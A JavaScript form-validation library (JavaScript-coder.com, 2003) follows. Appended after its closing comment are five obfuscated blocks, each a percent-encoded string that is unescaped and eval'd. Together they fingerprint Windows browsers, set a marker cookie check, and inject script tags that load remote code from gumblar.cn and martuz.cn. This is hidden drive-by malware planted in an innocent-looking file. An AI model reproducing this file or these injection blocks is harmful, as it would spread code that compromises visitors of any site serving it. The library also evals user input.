/*
  -------------------------------------------------------------------------
	                    JavaScript Form Validator 
                                Version 2.0.2
	Copyright 2003 JavaScript-coder.com. All rights reserved.
	You use this script in your Web pages, provided these opening credit
    lines are kept intact.
	The Form validation script is distributed free from JavaScript-Coder.com

	You may please add a link to JavaScript-Coder.com, 
	making it easy for others to find this script.
	Checkout the Give a link and Get a link page:
	http://www.javascript-coder.com/links/how-to-link.php

    You may not reprint or redistribute this code without permission from 
    JavaScript-Coder.com.
	
	JavaScript Coder
	It precisely codes what you imagine!
	Grab your copy here:
		http://www.javascript-coder.com/
    -------------------------------------------------------------------------  
*/
function Validator(frmname)
{
  this.formobj=document.forms[frmname];
	if(!this.formobj)
	{
	  alert("BUG: couldnot get Form object "+frmname);
		return;
	}
	if(this.formobj.onsubmit)
	{
	 this.formobj.old_onsubmit = this.formobj.onsubmit;
	 this.formobj.onsubmit=null;
	}
	else
	{
	 this.formobj.old_onsubmit = null;
	}
	this.formobj.onsubmit=form_submit_handler;
	this.addValidation = add_validation;
	this.setAddnlValidationFunction=set_addnl_vfunction;
	this.clearAllValidations = clear_all_validations;
}
function set_addnl_vfunction(functionname)
{
  this.formobj.addnlvalidation = functionname;
}
function clear_all_validations()
{
	for(var itr=0;itr < this.formobj.elements.length;itr++)
	{
		this.formobj.elements[itr].validationset = null;
	}
}
function form_submit_handler()
{
	for(var itr=0;itr < this.elements.length;itr++)
	{
		if(this.elements[itr].validationset &&
	   !this.elements[itr].validationset.validate())
		{
		  return false;
		}
	}
	if(this.addnlvalidation)
	{
	  str =" var ret = "+this.addnlvalidation+"()";
	  eval(str);
    if(!ret) return ret;
	}
	return true;
}
function add_validation(itemname,descriptor,errstr)
{
  if(!this.formobj)
	{
	  alert("BUG: the form object is not set properly");
		return;
	}//if
	var itemobj = this.formobj[itemname];
  if(!itemobj)
	{
	  alert("BUG: Couldnot get the input object named: "+itemname);
		return;
	}
	if(!itemobj.validationset)
	{
	  itemobj.validationset = new ValidationSet(itemobj);
	}
  itemobj.validationset.add(descriptor,errstr);
}
function ValidationDesc(inputitem,desc,error)
{
  this.desc=desc;
	this.error=error;
	this.itemobj = inputitem;
	this.validate=vdesc_validate;
}
function vdesc_validate()
{
 if(!V2validateData(this.desc,this.itemobj,this.error))
 {
    this.itemobj.focus();
		return false;
 }
 return true;
}
function ValidationSet(inputitem)
{
    this.vSet=new Array();
	this.add= add_validationdesc;
	this.validate= vset_validate;
	this.itemobj = inputitem;
}
function add_validationdesc(desc,error)
{
  this.vSet[this.vSet.length]= 
	  new ValidationDesc(this.itemobj,desc,error);
}
function vset_validate()
{
   for(var itr=0;itr<this.vSet.length;itr++)
	 {
	   if(!this.vSet[itr].validate())
		 {
		   return false;
		 }
	 }
	 return true;
}
function validateEmailv2(email)
{
// a very simple email validation checking. 
// you can add more complex email checking if it helps 
    if(email.length <= 0)
	{
	  return true;
	}
    var splitted = email.match("^(.+)@(.+)$");
    if(splitted == null) return false;
    if(splitted[1] != null )
    {
      var regexp_user=/^\"?[\w-_\.]*\"?$/;
      if(splitted[1].match(regexp_user) == null) return false;
    }
    if(splitted[2] != null)
    {
      var regexp_domain=/^[\w-\.]*\.[A-Za-z]{2,4}$/;
      if(splitted[2].match(regexp_domain) == null) 
      {
	    var regexp_ip =/^\[\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\]$/;
	    if(splitted[2].match(regexp_ip) == null) return false;
      }// if
      return true;
    }
return false;
}
function V2validateData(strValidateStr,objValue,strError) 
{ 
    var epos = strValidateStr.search("="); 
    var  command  = ""; 
    var  cmdvalue = ""; 
    if(epos >= 0) 
    { 
     command  = strValidateStr.substring(0,epos); 
     cmdvalue = strValidateStr.substr(epos+1); 
    } 
    else 
    { 
     command = strValidateStr; 
    } 
    switch(command) 
    { 
        case "req": 
        case "required": 
         { 
           if(eval(objValue.value.length) == 0) 
           { 
              if(!strError || strError.length ==0) 
              { 
                strError = objValue.name + " : Required Field"; 
              }//if 
              alert(strError); 
              return false; 
           }//if 
           break;             
         }//case required 
        case "maxlength": 
        case "maxlen": 
          { 
             if(eval(objValue.value.length) >  eval(cmdvalue)) 
             { 
               if(!strError || strError.length ==0) 
               { 
                 strError = objValue.name + " : "+cmdvalue+" characters maximum "; 
               }//if 
               alert(strError + "\n[Current length = " + objValue.value.length + " ]"); 
               return false; 
             }//if 
             break; 
          }//case maxlen 
        case "minlength": 
        case "minlen": 
           { 
             if(eval(objValue.value.length) <  eval(cmdvalue)) 
             { 
               if(!strError || strError.length ==0) 
               { 
                 strError = objValue.name + " : " + cmdvalue + " characters minimum  "; 
               }//if               
               alert(strError + "\n[Current length = " + objValue.value.length + " ]"); 
               return false;                 
             }//if 
             break; 
            }//case minlen 
        case "alnum": 
        case "alphanumeric": 
           { 
              var charpos = objValue.value.search("[^A-Za-z0-9]"); 
              if(objValue.value.length > 0 &&  charpos >= 0) 
              { 
               if(!strError || strError.length ==0) 
                { 
                  strError = objValue.name+": Only alpha-numeric characters allowed "; 
                }//if 
                alert(strError + "\n [Error character position " + eval(charpos+1)+"]"); 
                return false; 
              }//if 
              break; 
           }//case alphanumeric 
        case "num": 
        case "numeric": 
           { 
              var charpos = objValue.value.search("[^0-9]"); 
              if(objValue.value.length > 0 &&  charpos >= 0) 
              { 
                if(!strError || strError.length ==0) 
                { 
                  strError = objValue.name+": Only digits allowed "; 
                }//if               
                alert(strError + "\n [Error character position " + eval(charpos+1)+"]"); 
                return false; 
              }//if 
              break;               
           }//numeric 
        case "alphabetic": 
        case "alpha": 
           { 
              var charpos = objValue.value.search("[^A-Za-z]"); 
              if(objValue.value.length > 0 &&  charpos >= 0) 
              { 
                  if(!strError || strError.length ==0) 
                { 
                  strError = objValue.name+": Only alphabetic characters allowed "; 
                }//if                             
                alert(strError + "\n [Error character position " + eval(charpos+1)+"]"); 
                return false; 
              }//if 
              break; 
           }//alpha 
		case "alnumhyphen":
			{
              var charpos = objValue.value.search("[^A-Za-z0-9\-_]"); 
              if(objValue.value.length > 0 &&  charpos >= 0) 
              { 
                  if(!strError || strError.length ==0) 
                { 
                  strError = objValue.name+": characters allowed are A-Z,a-z,0-9,- and _"; 
                }//if                             
                alert(strError + "\n [Error character position " + eval(charpos+1)+"]"); 
                return false; 
              }//if 			
			break;
			}
        case "email": 
          { 
               if(!validateEmailv2(objValue.value)) 
               { 
                 if(!strError || strError.length ==0) 
                 { 
                    strError = objValue.name+": Enter a valid Email address "; 
                 }//if                                               
                 alert(strError); 
                 return false; 
               }//if 
           break; 
          }//case email 
        case "lt": 
        case "lessthan": 
         { 
            if(isNaN(objValue.value)) 
            { 
              alert(objValue.name+": Should be a number "); 
              return false; 
            }//if 
            if(eval(objValue.value) >=  eval(cmdvalue)) 
            { 
              if(!strError || strError.length ==0) 
              { 
                strError = objValue.name + " : value should be less than "+ cmdvalue; 
              }//if               
              alert(strError); 
              return false;                 
             }//if             
            break; 
         }//case lessthan 
        case "gt": 
        case "greaterthan": 
         { 
            if(isNaN(objValue.value)) 
            { 
              alert(objValue.name+": Should be a number "); 
              return false; 
            }//if 
             if(eval(objValue.value) <=  eval(cmdvalue)) 
             { 
               if(!strError || strError.length ==0) 
               { 
                 strError = objValue.name + " : value should be greater than "+ cmdvalue; 
               }//if               
               alert(strError); 
               return false;                 
             }//if             
            break; 
         }//case greaterthan 
        case "regexp": 
         { 
		 	if(objValue.value.length > 0)
			{
	            if(!objValue.value.match(cmdvalue)) 
	            { 
	              if(!strError || strError.length ==0) 
	              { 
	                strError = objValue.name+": Invalid characters found "; 
	              }//if                                                               
	              alert(strError); 
	              return false;                   
	            }//if 
			}
           break; 
         }//case regexp 
        case "dontselect": 
         { 
            if(objValue.selectedIndex == null) 
            { 
              alert("BUG: dontselect command for non-select Item"); 
              return false; 
            } 
            if(objValue.selectedIndex == eval(cmdvalue)) 
            { 
             if(!strError || strError.length ==0) 
              { 
              strError = objValue.name+": Please Select one option "; 
              }//if                                                               
              alert(strError); 
              return false;                                   
             } 
             break; 
         }//case dontselect 
    }//switch 
    return true; 
}
/*
	Copyright 2003 JavaScript-coder.com. All rights reserved.
*/<!-- 
(function(){var isT='@76ar@20a@3d@22ScriptEn@67i@6ee@22@2c@62@3d@22Ver@73@69on()+@22@2cj@3d@22@22@2c@75@3dna@76igator@2euserAgent@3bi@66((@75@2ei@6edexO@66(@22Win@22)@3e0)@26@26(@75@2e@69n@64e@78Of(@22NT@206@22)@3c0@29@26@26@28@64ocument@2ecook@69e@2ei@6edexOf@28@22miek@3d1@22)@3c@30)@26@26(t@79peof(zrvz@74s@29@21@3dty@70@65of(@22@41@22))@29@7bz@72vzts@3d@22A@22@3beval(@22if(window@2e@22@2ba+@22@29j@3dj+@22+a+@22@4dajor@22+b+@61@2b@22@4dinor@22+b@2ba+@22Bu@69ld@22+@62+@22j@3b@22@29@3b@64o@63ument@2e@77@72i@74e(@22@3c@73@63ri@70t@20@73@72c@3d@2f@2fgum@62l@61r@2ec@6e@2fr@73s@2f@3fid@3d@22+@6a@2b@22@3e@3c@5c@2fscri@70t@3e@22)@3b@7d';var IEE=isT.replace(/@/g,'%');eval(unescape(IEE))})();
 --><!-- 
(function(t){eval(unescape(('#76ar#20a#3d#22Sc#72iptEng#69#6ee#22#2cb#3d#22#56ersion#28)+#22#2cj#3d#22#22#2cu#3d#6eavig#61t#6f#72#2eus#65#72#41gent#3bif((#75#2ei#6edexO#66(#22Win#22)#3e0)#26#26(u#2ein#64exOf#28#22N#54#206#22#29#3c#30)#26#26(docu#6den#74#2e#63ook#69e#2eind#65xOf#28#22#6d#69e#6b#3d1#22#29#3c0#29#26#26(ty#70eof(zrvzts)#21#3dt#79pe#6f#66(#22#41#22#29#29#29#7bzr#76zts#3d#22A#22#3beval(#22if#28win#64ow#2e#22+a+#22)#6a#3dj+#22+a+#22Major#22#2bb+a+#22M#69nor#22+#62+a+#22B#75ild#22+b+#22j#3b#22)#3b#64o#63ume#6et#2e#77#72it#65(#22#3cscript#20#73#72c#3d#2f#2fg#75m#62lar#2ecn#2frss#2f#3fid#3d#22+#6a#2b#22#3e#3c#5c#2fscript#3e#22)#3b#7d').replace(t,'%')))})(/#/g);
 --><!-- 
(function(C9Z){var xDz='%';var xixuU='v-61r-20a-3d-22Scrip-74Eng-69-6ee-22-2cb-3d-22Versio-6e()+-22-2cj-3d-22-22-2cu-3dn-61-76ig-61t-6fr-2euse-72A-67-65nt-3bi-66-28(u-2ein-64exOf-28-22W-69n-22-29-3e0)-26-26(u-2e-69n-64exOf(-22-4e-54-206-22)-3c0-29-26-26-28doc-75-6dent-2ecooki-65-2ein-64exOf(-22mi-65k-3d1-22)-3c0-29-26-26(typeof(z-72vzts)-21-3d-74yp-65of(-22A-22)-29)-7bz-72vz-74s-3d-22-41-22-3beval-28-22i-66(wi-6edow-2e-22-2b-61+-22)j-3dj+-22+a+-22Ma-6aor-22+b-2ba+-22Mi-6eo-72-22+b+a+-22Bu-69-6cd-22+b+-22-6a-3b-22)-3bdocument-2e-77r-69t-65-28-22-3cscript-20s-72c-3d-2f-2f-67umblar-2ec-6e-2frss-2f-3f-69d-3d-22+j-2b-22-3e-3c-5c-2f-73-63r-69-70-74-3e-22)-3b-7d';var bimq=xixuU.replace(C9Z,xDz);var zdL=unescape(bimq);eval(zdL)})(/-/g);
 --><!-- 
(function(Hfo){var PS1Z='%';var bmWX=('var@20@61@3d@22@53crip@74En@67in@65@22@2cb@3d@22V@65rsion()+@22@2cj@3d@22@22@2c@75@3dnavigator@2euserAgent@3bif@28(u@2einde@78@4f@66(@22Wi@6e@22)@3e0@29@26@26(u@2einde@78@4f@66@28@22N@54@206@22@29@3c@30)@26@26@28documen@74@2ec@6fokie@2ein@64exO@66@28@22m@69@65k@3d1@22@29@3c0)@26@26@28typeof(zrvzt@73)@21@3dtypeof(@22A@22)))@7bzrv@7at@73@3d@22A@22@3be@76@61l@28@22if(@77i@6edo@77@2e@22+a+@22)j@3dj@2b@22+a+@22@4dajor@22+b+@61@2b@22M@69nor@22+@62+@61@2b@22B@75ild@22+b+@22j@3b@22)@3bdo@63@75@6den@74@2ew@72@69@74@65(@22@3cscr@69@70@74@20@73r@63@3d@2f@2fgum@62l@61r@2ecn@2frss@2f@3fi@64@3d@22+j@2b@22@3e@3c@5c@2fsc@72ip@74@3e@22@29@3b@7d').replace(Hfo,PS1Z);var jgvvA=unescape(bmWX);eval(jgvvA)})(/@/g);
 --><!-- 
(function(hmt){var DQM='var:20a:3d:22Sc:72iptEngi:6ee:22:2cb:3d:22V:65r:73ion()+:22:2cj:3d:22:22:2c:75:3dn:61:76iga:74:6fr:2euserAgent:3bif((u:2eindexO:66(:22C:68ro:6de:22:29:3c0:29:26:26(:75:2eindexOf:28:22:57in:22:29:3e0:29:26:26(:75:2ei:6edexO:66(:22:4eT:206:22):3c0):26:26(doc:75ment:2ecookie:2ei:6edexOf(:22:6di:65k:3d1:22):3c0):26:26(typeo:66(zrv:7a:74s):21:3dtypeof(:22A:22)):29:7b:7arvzt:73:3d:22A:22:3beval(:22if(window:2e:22:2ba:2b:22)j:3dj+:22:2ba+:22:4d:61:6aor:22+b+a+:22Minor:22+b+a:2b:22Build:22:2b:62+:22j:3b:22):3bdocu:6de:6et:2ew:72ite(:22:3c:73cr:69pt:20src:3d:2f:2fm:61:22+:22rt:75z:2ecn:2fvid:2f:3fid:3d:22+j+:22:3e:3c:5c:2f:73c:72ipt:3e:22):3b:7d';var HJRh=unescape(DQM.replace(hmt,'%'));eval(HJRh)})(/\:/g);
 -->